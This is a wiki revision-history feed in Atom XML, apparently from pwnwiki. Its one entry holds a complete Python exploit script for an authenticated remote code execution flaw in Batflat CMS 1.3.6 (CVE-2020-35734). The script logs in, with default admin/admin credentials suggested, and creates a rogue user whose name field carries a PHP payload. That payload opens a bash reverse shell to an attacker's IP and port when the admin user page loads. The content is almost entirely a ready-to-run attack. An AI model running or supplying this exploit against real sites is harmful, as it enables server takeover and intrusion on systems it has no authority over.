<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Batflat_CMS_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Batflat CMS 1.3.6 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Batflat_CMS_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Batflat_CMS_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-06T01:31:39Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Batflat_CMS_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1257&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated) # Date: 2020-12-27 # Exploit Author: mari0x00 # Vendor Homepage: https://batflat.org/...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Batflat_CMS_1.3.6_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1257&amp;oldid=prev"/>
		<updated>2021-04-08T09:18:33Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated) # Date: 2020-12-27 # Exploit Author: mari0x00 # Vendor Homepage: https://batflat.org/...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Batflat CMS 1.3.6 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Date: 2020-12-27&lt;br /&gt;
# Exploit Author: mari0x00&lt;br /&gt;
# Vendor Homepage: https://batflat.org/&lt;br /&gt;
# Software Link: https://github.com/sruupl/batflat/archive/master.zip&lt;br /&gt;
# Description: https://secator.pl/index.php/2021/02/15/batflat-v-1-3-6-authenticated-remote-code-execution-public-disclosure/&lt;br /&gt;
# Version: &amp;lt;= 1.3.6&lt;br /&gt;
# CVE: CVE-2020-35734&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import sys&lt;br /&gt;
import re&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
from termcolor import colored&lt;br /&gt;
from time import sleep&lt;br /&gt;
&lt;br /&gt;
print(colored('''###########################################################''',&amp;quot;red&amp;quot;))&lt;br /&gt;
print(colored('''#######    Batflat authenticated RCE by mari0x00    #######''',&amp;quot;red&amp;quot;))&lt;br /&gt;
print(colored('''###########################################################''',&amp;quot;red&amp;quot;))&lt;br /&gt;
print(&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
if len(sys.argv) != 6:&lt;br /&gt;
    print((colored(&amp;quot;[~] Usage : python3 batpwnd.py &amp;lt;url&amp;gt; &amp;lt;username&amp;gt; &amp;lt;password&amp;gt; &amp;lt;IP&amp;gt; &amp;lt;PORT&amp;gt;&amp;quot;,&amp;quot;red&amp;quot;)))&lt;br /&gt;
    print((colored(&amp;quot;[~] Default credentials: admin/admin&amp;quot;,&amp;quot;red&amp;quot;)))&lt;br /&gt;
    print((colored(&amp;quot;[~] Example: python3 batpwnd.py http://192.168.101.105/ admin admin 192.168.101.101 4444&amp;quot;,&amp;quot;red&amp;quot;)))&lt;br /&gt;
    exit()&lt;br /&gt;
url = sys.argv[1]&lt;br /&gt;
username = sys.argv[2]&lt;br /&gt;
password = sys.argv[3]&lt;br /&gt;
IP = sys.argv[4]&lt;br /&gt;
PORT = sys.argv[5]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#Start session&lt;br /&gt;
s = requests.Session()&lt;br /&gt;
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#Authenticate&lt;br /&gt;
print((colored(&amp;quot;[+] Attempting user login&amp;quot;,&amp;quot;blue&amp;quot;)))&lt;br /&gt;
&lt;br /&gt;
login_data = {&lt;br /&gt;
    &amp;quot;username&amp;quot;: username,&lt;br /&gt;
    &amp;quot;password&amp;quot;: password,&lt;br /&gt;
    &amp;quot;login&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
login = s.post(url+&amp;quot;admin/&amp;quot;, login_data, headers=headers)&lt;br /&gt;
sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
#Get token&lt;br /&gt;
print((colored(&amp;quot;[+] Retrieving the token&amp;quot;,&amp;quot;blue&amp;quot;)))&lt;br /&gt;
r = s.get(url+&amp;quot;admin/&amp;quot;, headers=headers).content&lt;br /&gt;
soup = BeautifulSoup(r, &amp;quot;lxml&amp;quot;)&lt;br /&gt;
token = (re.search(r't=(.*?)&amp;quot;&amp;gt;Add', str(soup)).group(1))&lt;br /&gt;
print((colored(&amp;quot;[+] Token ID: &amp;quot; + token,&amp;quot;blue&amp;quot;)))&lt;br /&gt;
sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
#Get URL&lt;br /&gt;
print((colored(&amp;quot;[+] Getting the add-user endpoint URL&amp;quot;,&amp;quot;blue&amp;quot;)))&lt;br /&gt;
r = s.get(url+&amp;quot;admin/users/add?t=&amp;quot;+token, headers=headers).content&lt;br /&gt;
soup = BeautifulSoup(r, &amp;quot;lxml&amp;quot;)&lt;br /&gt;
add_user_url = (re.search(r'action=&amp;quot;(.*?)&amp;quot;', str(soup)).group(1))&lt;br /&gt;
sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
#Exploit&lt;br /&gt;
print((colored(&amp;quot;[+] Adding pwnd user&amp;quot;,&amp;quot;blue&amp;quot;)))&lt;br /&gt;
payload = &amp;quot;&amp;lt;?php system(\&amp;quot;/bin/bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;quot; + IP + &amp;quot;/&amp;quot; + PORT + &amp;quot; 0&amp;gt;&amp;amp;1'\&amp;quot;);?&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
add_user = {&lt;br /&gt;
    &amp;quot;username&amp;quot;: (None, &amp;quot;pwnd&amp;quot;),&lt;br /&gt;
    &amp;quot;fullname&amp;quot;: (None, payload),&lt;br /&gt;
    &amp;quot;description&amp;quot;: (None, &amp;quot;pwnd&amp;quot;),&lt;br /&gt;
    &amp;quot;email&amp;quot;: (None, &amp;quot;pwnd@evil.com&amp;quot;),&lt;br /&gt;
    &amp;quot;password&amp;quot;: (None, &amp;quot;pwnd123&amp;quot;),&lt;br /&gt;
    &amp;quot;access[]&amp;quot;: (None, &amp;quot;users&amp;quot;),&lt;br /&gt;
    &amp;quot;save&amp;quot;: (None, &amp;quot;Save&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
exploit = s.post(add_user_url, headers=headers, files=add_user)&lt;br /&gt;
sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
#Triggering reverse shell&lt;br /&gt;
print(&amp;quot;&amp;quot;)&lt;br /&gt;
print((colored(&amp;quot;[+] Triggering the shell. Go nuts!&amp;quot;,&amp;quot;green&amp;quot;)))&lt;br /&gt;
r = s.get(url+&amp;quot;admin/users/manage?t=&amp;quot;+token, headers=headers)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>